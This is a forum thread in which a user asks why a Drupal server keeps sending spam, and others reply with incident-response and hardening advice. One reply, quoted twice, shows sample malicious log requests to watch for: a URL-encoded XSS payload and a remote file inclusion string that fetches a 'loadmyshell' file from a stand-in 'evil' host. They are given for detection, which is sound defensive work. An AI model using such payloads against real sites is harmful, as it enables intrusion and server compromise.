Linux - SecurityThis forum is for all security related questions.
Questions, tips, system compromises, firewalls, etc. are all included here.
Notices
Welcome to LinuxQuestions.org, a friendly and active Linux Community.
You are currently viewing LQ as a guest. By joining our community you will have the ability to post topics, receive our newsletter, use the advanced search, subscribe to threads and access many other special features. Registration is quick, simple and absolutely free. Join our community today!
Note that registered members see fewer ads, and ContentLink is completely disabled once you log in.
If you have any problems with the registration process or your account login, please contact us. If you need to reset your password, click here.
Having a problem logging in? Please visit this page to clear all LQ-related cookies.
Get a virtual cloud desktop with the Linux distro that you want in less than five minutes with Shells! With over 10 pre-installed distros to choose from, the worry-free installation life is here! Whether you are a digital nomad or just looking for flexibility, Shells can put your Linux machine on the device that you want to use.
Exclusive for LQ members, get up to 45% off per month. Click here for more info.
Currently I'm having a problem with a box which keep sending spams all over the world. yesterday we upgraded some drupal modules (which can send email), and the spam quantity reduced. But still some spams keep on going out from our server. Some of them even have attachment.
Some of them sent using accounts that never exist at our server (e.g. strager@mydomain.com), and some of them are from 'nobody'.
Can anyone give me a guidance what to check, or where to look. I've check the MX-Records and there was no strange forwarders. Really stuck here...
Any help appreciated.
Best regards,
Yoachan
Click here to see the post LQ members have rated as the most helpful post in this thread.
Try disabling the drupal modules and see if the spam still continues, that should tell you where the problem is. Another option is to investigate the mail logs .. but if the drupal modules are configured to use localhost as the outbound mail server then that won't narrow down the source
Try disabling the drupal modules and see if the spam still continues, that should tell you where the problem is. Another option is to investigate the mail logs
These Drupal CVE entries show the product suffers major from coding flaws. So instead I'd start by restricting access to Drupal or shutting down the site (web server) and not focus on a single log file but check all system and web stack log files, especially the web server log (using Logwatch?).
In addition to that:
- If you run anything other than the latest version of Drupal that is bad. Running earlier versions, especially of vulnerable web stack software, holds risks.
- If you don't upgrade to the latest version because some module doesn't play nice with the latest Drupal version, consider removing that module.
- If you won't upgrade to the latest version because of some other undisclosed reason, consider moving to a CMS with a better track record.
- Ensure all files, URL or helpers required for installation are either removed after the installation (say /install.php), have the right access permissions (say the web servers document root, upload directores, sites/default/settings.php) or have restricted access (say /?q=admin/settings, /update.php or /phpmyadmin).
- Ensure configuration files httpd.conf and any includes, php.ini, my.ini do not have basic security restrictions disabled.
- Ensure all files can be verified by checking MD5 or SHA1 hashes, that you are automagically notified of any updates and that an update procedure is set (CVS, Drush).
- Perform basic host and web stack hardening.
- Ensure logging is on for all web stack components, ensure a log watcher runs regularly and read the reports.
Try disabling the drupal modules and see if the spam still continues, that should tell you where the problem is. Another option is to investigate the mail logs .. but if the drupal modules are configured to use localhost as the outbound mail server then that won't narrow down the source
cheers
We have disabled all drupal modul that we thought will can send email and the spam reduced greatly. We've upgrade them too, but some spams seems keeps on going though not as much as before.
Quote:
Originally Posted by unSpawn
These Drupal CVE entries show the product suffers major from coding flaws. So instead I'd start by restricting access to Drupal or shutting down the site (web server) and not focus on a single log file but check all system and web stack log files, especially the web server log (using Logwatch?).
What's the connection between the web server with the mail server? Can I look for email log at my apache's log?
Quote:
Originally Posted by unSpawn
In addition to that:
- If you run anything other than the latest version of Drupal that is bad. Running earlier versions, especially of vulnerable web stack software, holds risks.
- If you don't upgrade to the latest version because some module doesn't play nice with the latest Drupal version, consider removing that module.
- If you won't upgrade to the latest version because of some other undisclosed reason, consider moving to a CMS with a better track record.
We've upgrade the drupal modules that we use, not to the latest though, but to the recommended version according to each module. Is it still necessary for us to upgrade to the latest one?
Quote:
Originally Posted by unSpawn
- Ensure all files, URL or helpers required for installation are either removed after the installation (say /install.php), have the right access permissions (say the web servers document root, upload directores, sites/default/settings.php) or have restricted access (say /?q=admin/settings, /update.php or /phpmyadmin).
I'll check the installation files. Is it enough just by turning the execute permission OFF? (r--r--r--)
Quote:
Originally Posted by unSpawn
- Ensure configuration files httpd.conf and any includes, php.ini, my.ini do not have basic security restrictions disabled.
I'll note this too. Is there any basic security restrictions that I MUST have? Where can I look? (sorry, I'm completely a newby...)
Quote:
Originally Posted by unSpawn
- Ensure all files can be verified by checking MD5 or SHA1 hashes, that you are automagically notified of any updates and that an update procedure is set (CVS, Drush).
do you mean I have to run a batch of script to md5 check all my files periodically?
Quote:
Originally Posted by unSpawn
- Perform basic host and web stack hardening.
I'll google it than I'll do it.
Quote:
Originally Posted by unSpawn
- Ensure logging is on for all web stack components, ensure a log watcher runs regularly and read the reports.
What's the connection between the web server with the mail server? Can I look for email log at my apache's log?
No, you look for any odd path requests like "/somefile.php?action=ajax&rs=%3Cscript%3Ewindow.open('http:// evil')%3C/script%3E" or "/someotherfile.php?INC=http://more evil. /loadmyshell.jpg?". You could run Logwatch and let it process all available system logs. With the report it will be easier to follow any leads. Let's leave the rest of the recovery and hardening for a later post.
No, you look for any odd path requests like "/somefile.php?action=ajax&rs=%3Cscript%3Ewindow.open('http:// evil')%3C/script%3E" or "/someotherfile.php?INC=http://more evil. /loadmyshell.jpg?". You could run Logwatch and let it process all available system logs. With the report it will be easier to follow any leads. Let's leave the rest of the recovery and hardening for a later post.
Ok. I'll keep an eye to these kind of request.
As separate issue, I know there are some persistent request to some page that no longer exist. It's hitting our guest book some times ago. We turned the guest off for we don't need them any longer. Is there any way to block this kind of request so Apache won't even bother respond to it's request?
LinuxQuestions.org is looking for people interested in writing
Editorials, Articles, Reviews, and more. If you'd like to contribute
content, let us know.